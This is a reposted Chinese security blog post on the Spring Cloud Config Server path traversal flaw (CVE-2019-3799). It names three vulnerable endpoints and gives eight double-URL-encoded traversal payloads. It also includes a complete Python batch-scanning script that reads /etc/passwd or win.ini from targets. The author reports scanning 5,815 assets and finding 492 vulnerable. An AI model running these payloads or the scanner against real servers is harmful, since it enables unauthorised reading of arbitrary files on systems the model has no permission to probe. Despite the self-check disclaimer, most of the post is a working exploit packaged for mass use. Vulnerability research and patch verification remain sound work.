安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 网络安全 > 编写Spring Cloud Config Server路径穿越漏洞全面检测脚本

编写Spring Cloud Config Server路径穿越漏洞全面检测脚本

时间:2019-07-16来源:http://gv7.me/articles/2019/wr 作者:c0ny1点击:
Spring Cloud Config Server路径穿越漏洞(CVE-2019-3799)的分析文章已经很多了,这里我不在画蛇填足。在分析该漏洞之后,发现了一些小细节,感觉对该漏洞检测还是挺有帮助的。基于发现的这些细节,我们来构造适应各种场景,甚至各
//内容来自安云网

Spring Cloud Config Server路径穿越漏洞(CVE-2019-3799)的分析文章已经很多了,这里我不在画蛇填足。在分析该漏洞之后,发现了一些小细节,感觉对该漏洞检测还是挺有帮助的。基于发现的这些细节,我们来构造适应各种场景,甚至各种奇葩场景的批量检测脚本! //内容来自AnYun.ORG

//内容来自安云网

0x01 简洁原理

Spring cloud config 分客户端和服务端。服务端供客户端查询配置,本次漏洞就是出在服务端。

当客户端提交的访问配置请求,会在服务端被解析为以下2种:

配置文件保存在服务端系统临时文件{system_tmp_path}下。在需要获取目标配置文件绝对路径时,服务端会将客户端提供的相对路径{path}和系统临时文件目录{system_tmp_path}进行拼接。

1
config_file_path = {system_tmp_path} + {path}

由于{path}客户端可控且未过滤../,从而导致目录穿越,可读服务端机器上任意文件!

0x02 漏洞检测点

经过分析代码,可以发现,其实该漏洞有三个检查点。不过网上大多数文章提供的漏洞url只是第一处。

编写Spring Cloud Config Server路径穿越漏洞全面检测脚本第一第二处

编写Spring Cloud Config Server路径穿越漏洞全面检测脚本第三处

我们先看看第一处@RequestMapping

1
@RequestMapping("/{name}/{profile}/{label}/**")

这里name为应仓库名称,profile为应配置文件环境label为git分支名。实际测试中需要label为存在的分支名(一般git仓库都存在master分支),否则报错,nameprofile可以为任意。由此我们可以构造如下url,即可匹配到该@RequestMapping

1
http://xxx:8888/aaa/bbb/master/{payload}

我们接着来看第二处@RequestMapping

1
@RequestMapping(value = "/{name}/{profile}/**", params = "useDefaultLabel")

根据Spring的RequestMapping匹配规则我们很容易构造以下url

1
http://xxx.com:8888/aaa/bbb/{payload}?useDefaultLabel=1

实际上我们构造的url虽然会被该@RequestMapping匹配到,但并不会执行该注解处代码。而是执行了以下注解处代码。

12345
//org/springframework/cloud/config/server/environment/EnvironmentController.java@RequestMapping("/{name}/{profiles}/{label:.*}")public Environment labelled(...) {	...}

这是因为我们构造的url,都符合两处注解的匹配规则,但后者匹配度更好优先级更高(*优先级大于**),自然优先被框架用于处理请求了。

因此我们可以构造以下链接,让第一个注解匹配度最高,使得程序使用存在漏洞的方法来处理。

1
http://xxx.com:8888/aaa/bbb/ccc/{payload}?useDefaultLabel=1

第三处,和第一处构造的url一样的,需要在数据包Accept头加入application/octet-stream即可触发!

编写Spring Cloud Config Server路径穿越漏洞全面检测脚本

0x03 目标操作系统

在黑盒渗透测试时,无法确定目标系统是Windows还是Linux,故最稳妥的方法是构造适合两者的payload,都检测一篇。

  • Linux下读/etc/passwd,检查关键字为root:

  • Window下读c:/Windows/win.ini,检查关键字为[extensions]

注意: 在Windows下该漏洞无法跨盘符读文件,也就是只能读和系统临时文件夹同盘符的任意路径下任意文件。 所以在Windwos系统下,系统临时文件路径被修改(这种情况比较少),即使目标存在漏洞,我们的payload也无法检测的,目前暂时没有好的解决方案。

0x04 ..%25F的个数

..%252F../的两次URL编码后结果,它是路径穿越的关键,其个数取决于系统临时文件目录的深度。

3.1 默认情况

这里的默认情况是指,服务端系统临时目录采用的是默认路径。

12345678
Windows系统临时文件存储路径:file:/C:/Users/ADMINI~1/AppData/Local/Temp/Windows下Spring cloud config server存储配置路径:file:/C:/Users/ADMINI~1/AppData/Local/Temp/config-repo-<randomid>/Linux系统临时文件存储路径:/tmp/Linux下Spring cloud config server存储配置路径:/tmp/config-repo-<randomid>/

所以要吃掉所有配置路径,Windwos下第一处漏洞检测需要6个..%252F,第二处需要7个,第三处需要6个。Linux下第一处2个,第二处需要3个,第三处需要6个。

3.2 极端情况

这里的极端情况是指,服务端系统临时目录被管理员自定义为其他路径,路径深度未知。这时我们可以估计一个最大深度50(相信不会有管理员奇葩到设置更深的目录了)

综合以上各个方面的分析,我们就可以构造出如下8个POC来检查,以应对各种情况该漏洞的检测。

12345678
http://xxx:8888/a/b/master/ + {..%252F}*2 + etc%252Fpasswdhttp://xxx:8888/a/b/master/ + {..%252F}*6 + Windows%252Fwin.inihttp://xxx:8888/a/b/master/ + {..%252F}*50 + etc%252Fpasswdhttp://xxx:8888/a/b/master/ + {..%252F}*50 + Windows%252Fwin.inihttp://xxx:8888/a/b/c/ + {..%252F}*3 + etc%252Fpasswd?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*7 + Windows%252Fwin.ini?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*50 + etc%252Fpasswd?useDefaultLabel=ahttp://xxx:8888/a/b/c/ + {..%252F}*50 + Windows%252Fwin.ini?useDefaultLabel=a

0x05 批量检测脚本

下面附上我写的POC-T插件,这里说明下本脚本仅供自查和学习使用,请勿用于非法用途,否则后果自负。

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667
#coding=utf-8'''Autor: c0ny1Date: 2019-04-20 16:41Description: Directory Traversal with spring-cloud-config-server(CVE-2019-3799)Affected Pivotal Products and Versions:	Spring Cloud Config 2.1.0 to 2.1.1	Spring Cloud Config 2.0.0 to 2.0.3	Spring Cloud Config 1.4.0 to 1.4.5	Older unsupported versions are also affected'''import requestsfrom requests import ConnectionErrorWIN_CHECK_KEYWORD = '[extensions]'LINUX_CHECK_KEYWORD = 'root:'def init_poc():	pocs = []	payload = '/a/b/master/' + '..%252F'*2 + 'etc%252Fpasswd'	poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/master/' + '..%252F'*6 + 'Windows%252Fwin.ini'	poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/master/' + '..%252F'*50 + 'etc%252Fpasswd'	poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/master/' + '..%252F'*50 + 'Windows%252Fwin.ini'	poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/c/' + '..%252F'*3 + 'etc%252Fpasswd?useDefaultLabel=a'	poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/c/' + '..%252F'*7 + 'Windows%252Fwin.ini?useDefaultLabel=a'	poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/c/' + '..%252F'*50 + 'etc%252Fpasswd?useDefaultLabel=a'	poc = {'payload':payload,'keyword':LINUX_CHECK_KEYWORD}	pocs.append(poc)		payload = '/a/b/c/' + '..%252F'*50 + 'Windows%252Fwin.ini?useDefaultLabel=a'	poc = {'payload':payload,'keyword':WIN_CHECK_KEYWORD}	pocs.append(poc)	return pocspocs = init_poc()def poc(url):for p in pocs:url = url if not url.endswith('/') else url[0:len(url)-1] #去掉结尾/target_url = url + p.get('payload')try:r = requests.get(target_url,timeout=10)except Exception,e:			continueif (r.status_code == 200) and (p.get('keyword') in r.content):return Truereturn False

去参加Avicii的纪念活动之前就挂着扫描,回来发现成果还不错。扫描5815个资产,存在漏洞的有492。最后希望管理员们及时修复吧!

编写Spring Cloud Config Server路径穿越漏洞全面检测脚本扫描成果

0x06 参考文章


本文标题: 编写Spring Cloud Config Server路径穿越漏洞全面检测脚本 c0ny1
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容